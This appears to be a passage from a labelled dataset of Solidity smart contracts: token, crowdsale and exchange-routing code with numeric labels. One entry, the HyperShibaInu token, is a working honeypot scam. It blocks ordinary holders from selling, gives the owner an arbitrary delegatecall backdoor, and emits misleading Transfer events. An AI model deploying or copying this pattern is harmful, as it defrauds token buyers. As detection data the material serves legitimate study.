address src,
uint srcAmount,
address dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
)
public
payable
returns(uint);
}
contract MultiChanger is CanReclaimToken {
using SafeMath for uint256;
function memcpy(uint dest, uint src, uint len) private pure {
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function subbytes(bytes _data, uint _start, uint _length) private pure returns(bytes) {
bytes memory result = new bytes(_length);
uint from;
uint to;
assembly {
from := add(_data, _start)
to := result
}
memcpy(to, from, _length);
}
function change(
bytes _callDatas,
uint[] _starts
)
internal
{
for (uint i = 0; i < _starts.length - 1; i++) {
bytes memory data = subbytes(
_callDatas,
_starts[i],
_starts[i + 1] - _starts[i]
);
require(address(this).call(data));
}
}
function sendEthValue(address _target, bytes _data, uint256 _value) external {
require(_target.call.value(_value)(_data));
}
function sendEthProportion(address _target, bytes _data, uint256 _mul, uint256 _div) external {
uint256 value = address(this).balance.mul(_mul).div(_div);
require(_target.call.value(value)(_data));
}
function approveTokenAmount(address _target, bytes _data, ERC20 _fromToken, uint256 _amount) external {
if (_fromToken.allowance(this, _target) != 0) {
_fromToken.approve(_target, 0);
}
_fromToken.approve(_target, _amount);
require(_target.call(_data));
}
function approveTokenProportion(address _target, bytes _data, ERC20 _fromToken, uint256 _mul, uint256 _div) external {
uint256 amount = _fromToken.balanceOf(this).mul(_mul).div(_div);
if (_fromToken.allowance(this, _target) != 0) {
_fromToken.approve(_target, 0);
}
_fromToken.approve(_target, amount);
require(_target.call(_data));
}
function transferTokenAmount(address _target, bytes _data, ERC20 _fromToken, uint256 _amount) external {
_fromToken.transfer(_target, _amount);
require(_target.call(_data));
}
function transferTokenProportion(address _target, bytes _data, ERC20 _fromToken, uint256 _mul, uint256 _div) external {
uint256 amount = _fromToken.balanceOf(this).mul(_mul).div(_div);
_fromToken.transfer(_target, amount);
require(_target.call(_data));
}
function bancorSendEthValue(IBancorNetwork _bancor, address[] _path, uint256 _value) external {
_bancor.convert.value(_value)(_path, _value, 1);
}
function bancorSendEthProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 value = address(this).balance.mul(_mul).div(_div);
_bancor.convert.value(value)(_path, value, 1);
}
function bancorApproveTokenAmount(IBancorNetwork _bancor, address[] _path, uint256 _amount) external {
if (ERC20(_path[0]).allowance(this, _bancor) == 0) {
ERC20(_path[0]).approve(_bancor, uint256(-1));
}
_bancor.claimAndConvert(_path, _amount, 1);
}
function bancorApproveTokenProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 amount = ERC20(_path[0]).balanceOf(this).mul(_mul).div(_div);
if (ERC20(_path[0]).allowance(this, _bancor) == 0) {
ERC20(_path[0]).approve(_bancor, uint256(-1));
}
_bancor.claimAndConvert(_path, amount, 1);
}
function bancorTransferTokenAmount(IBancorNetwork _bancor, address[] _path, uint256 _amount) external {
ERC20(_path[0]).transfer(_bancor, _amount);
_bancor.convert(_path, _amount, 1);
}
function bancorTransferTokenProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 amount = ERC20(_path[0]).balanceOf(this).mul(_mul).div(_div);
ERC20(_path[0]).transfer(_bancor, amount);
_bancor.convert(_path, amount, 1);
}
function bancorAlreadyTransferedTokenAmount(IBancorNetwork _bancor, address[] _path, uint256 _amount) external {
_bancor.convert(_path, _amount, 1);
}
function bancorAlreadyTransferedTokenProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 amount = ERC20(_path[0]).balanceOf(_bancor).mul(_mul).div(_div);
_bancor.convert(_path, amount, 1);
}
function kyberSendEthProportion(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _mul, uint256 _div) external {
uint256 value = address(this).balance.mul(_mul).div(_div);
_kyber.trade.value(value)(
_fromToken,
value,
_toToken,
this,
1 << 255,
0,
0
);
}
function kyberApproveTokenAmount(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _amount) external {
if (_fromToken.allowance(this, _kyber) == 0) {
_fromToken.approve(_kyber, uint256(-1));
}
_kyber.trade(
_fromToken,
_amount,
_toToken,
this,
1 << 255,
0,
0
);
}
function kyberApproveTokenProportion(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _mul, uint256 _div) external {
uint256 amount = _fromToken.balanceOf(this).mul(_mul).div(_div);
this.kyberApproveTokenAmount(_kyber, _fromToken, _toToken, amount);
}
}
contract MultiBuyer is MultiChanger {
function buy(
IMultiToken _mtkn,
uint256 _minimumReturn,
bytes _callDatas,
uint[] _starts
)
public
payable
{
change(_callDatas, _starts);
uint mtknTotalSupply = _mtkn.totalSupply();
uint256 bestAmount = uint256(-1);
for (uint i = _mtkn.tokensCount(); i > 0; i--) {
ERC20 token = _mtkn.tokens(i - 1);
if (token.allowance(this, _mtkn) == 0) {
token.approve(_mtkn, uint256(-1));
}
uint256 amount = mtknTotalSupply.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn));
if (amount < bestAmount) {
bestAmount = amount;
}
}
require(bestAmount >= _minimumReturn, "buy: return value is too low");
_mtkn.bundle(msg.sender, bestAmount);
}
function buyFirstTokens(
IMultiToken _mtkn,
bytes _callDatas,
uint[] _starts
)
public
payable
{
change(_callDatas, _starts);
uint tokensCount = _mtkn.tokensCount();
uint256[] memory amounts = new uint256[](tokensCount);
for (uint i = 0; i < tokensCount; i++) {
ERC20 token = _mtkn.tokens(i);
amounts[i] = token.balanceOf(this);
if (token.allowance(this, _mtkn) == 0) {
token.approve(_mtkn, uint256(-1));
}
}
_mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts);
}
} | 1 | 3,154 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HyperShibaInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,313 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CPLEToken is StandardToken {
string public name = "Carpool Life Chain";
string public symbol = "CPLE";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3000000000;
constructor() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
} | 1 | 3,270 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract PetlifeToken is MintableToken {
string public constant name = "PetlifeToken";
string public constant symbol = "Petl";
uint8 public constant decimals = 18;
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract PetlifeCrowdsale is MintedCrowdsale, FinalizableCrowdsale {
enum CrowdsaleStage { PrivateSale, ICOFirstStage, ICOSecondStage, ICOThirdStage }
CrowdsaleStage public stage = CrowdsaleStage.PrivateSale;
uint256 public privateCap = 30000000 * 10 ** 18;
uint256 public firstStageCap = 25000000 * 10 ** 18;
uint256 public secondStageCap = 20000000 * 10 ** 18;
uint256 public thirdStageCap = 28000000 * 10 ** 18;
uint256 public bonusPercent = 30;
uint256 public saleCap = 103000000 * 10 ** 18;
event EthTransferred(string text);
event EthRefunded(string text);
MintableToken public token;
uint256 public mark;
constructor(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, MintableToken _token) FinalizableCrowdsale() TimedCrowdsale(_openingTime, _closingTime) Crowdsale(_rate, _wallet, _token) public {
token = _token;
require(_wallet != 0x0);
}
function setCrowdsaleStage(uint value) public onlyOwner {
CrowdsaleStage _stage;
if (uint(CrowdsaleStage.PrivateSale) == value) {
_stage = CrowdsaleStage.PrivateSale;
} else if (uint(CrowdsaleStage.ICOFirstStage) == value) {
_stage = CrowdsaleStage.ICOFirstStage;
} else if (uint(CrowdsaleStage.ICOSecondStage) == value) {
_stage = CrowdsaleStage.ICOSecondStage;
} else if (uint(CrowdsaleStage.ICOThirdStage) == value) {
_stage = CrowdsaleStage.ICOThirdStage;
}
stage = _stage;
if (stage == CrowdsaleStage.PrivateSale) {
setCurrentBonusPercent(30);
} else if (stage == CrowdsaleStage.ICOFirstStage) {
setCurrentBonusPercent(15);
} else if (stage == CrowdsaleStage.ICOSecondStage) {
setCurrentBonusPercent(5);
} else if (stage == CrowdsaleStage.ICOThirdStage) {
setCurrentBonusPercent(0);
}
}
function setCurrentBonusPercent(uint256 _percent) private {
bonusPercent = _percent;
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate.mul(100+bonusPercent).div(100));
}
function () external payable {
uint256 tokensThatWillBeMintedAfterPurchase = msg.value.mul(rate.mul(100+bonusPercent).div(100));
if ((stage == CrowdsaleStage.PrivateSale) && (token.totalSupply() + tokensThatWillBeMintedAfterPurchase > privateCap)) {
msg.sender.transfer(msg.value);
emit EthRefunded("PrivateSale Limit Hit");
return;
}
if ((stage == CrowdsaleStage.ICOFirstStage) && (token.totalSupply() + tokensThatWillBeMintedAfterPurchase > saleCap-thirdStageCap-secondStageCap)) {
msg.sender.transfer(msg.value);
emit EthRefunded("First Stage ICO Limit Hit");
return;
}
if ((stage == CrowdsaleStage.ICOSecondStage) && (token.totalSupply() > saleCap-thirdStageCap)) {
setCurrentBonusPercent(0);
}
if (token.totalSupply() + tokensThatWillBeMintedAfterPurchase > saleCap) {
msg.sender.transfer(msg.value);
emit EthRefunded("ICO Limit Hit");
return;
}
buyTokens(msg.sender);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
emit EthTransferred("forwarding funds to wallet");
}
function finish(address _teamFund, address _reserveFund, address _bountyFund, address _advisoryFund) public onlyOwner {
require(!isFinalized);
uint256 alreadyMinted = token.totalSupply();
uint256 tokensForTeam = alreadyMinted.mul(15).div(100);
uint256 tokensForBounty = alreadyMinted.mul(2).div(100);
uint256 tokensForReserve = alreadyMinted.mul(175).div(1000);
uint256 tokensForAdvisors = alreadyMinted.mul(35).div(1000);
token.mint(_teamFund,tokensForTeam);
token.mint(_bountyFund,tokensForBounty);
token.mint(_reserveFund,tokensForReserve);
token.mint(_advisoryFund,tokensForAdvisors);
finalize();
}
function mintManually(address _to, uint256 _amount) public onlyOwner {
require(!isFinalized);
token.mint(_to,_amount*10**18);
}
} | 1 | 3,661 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
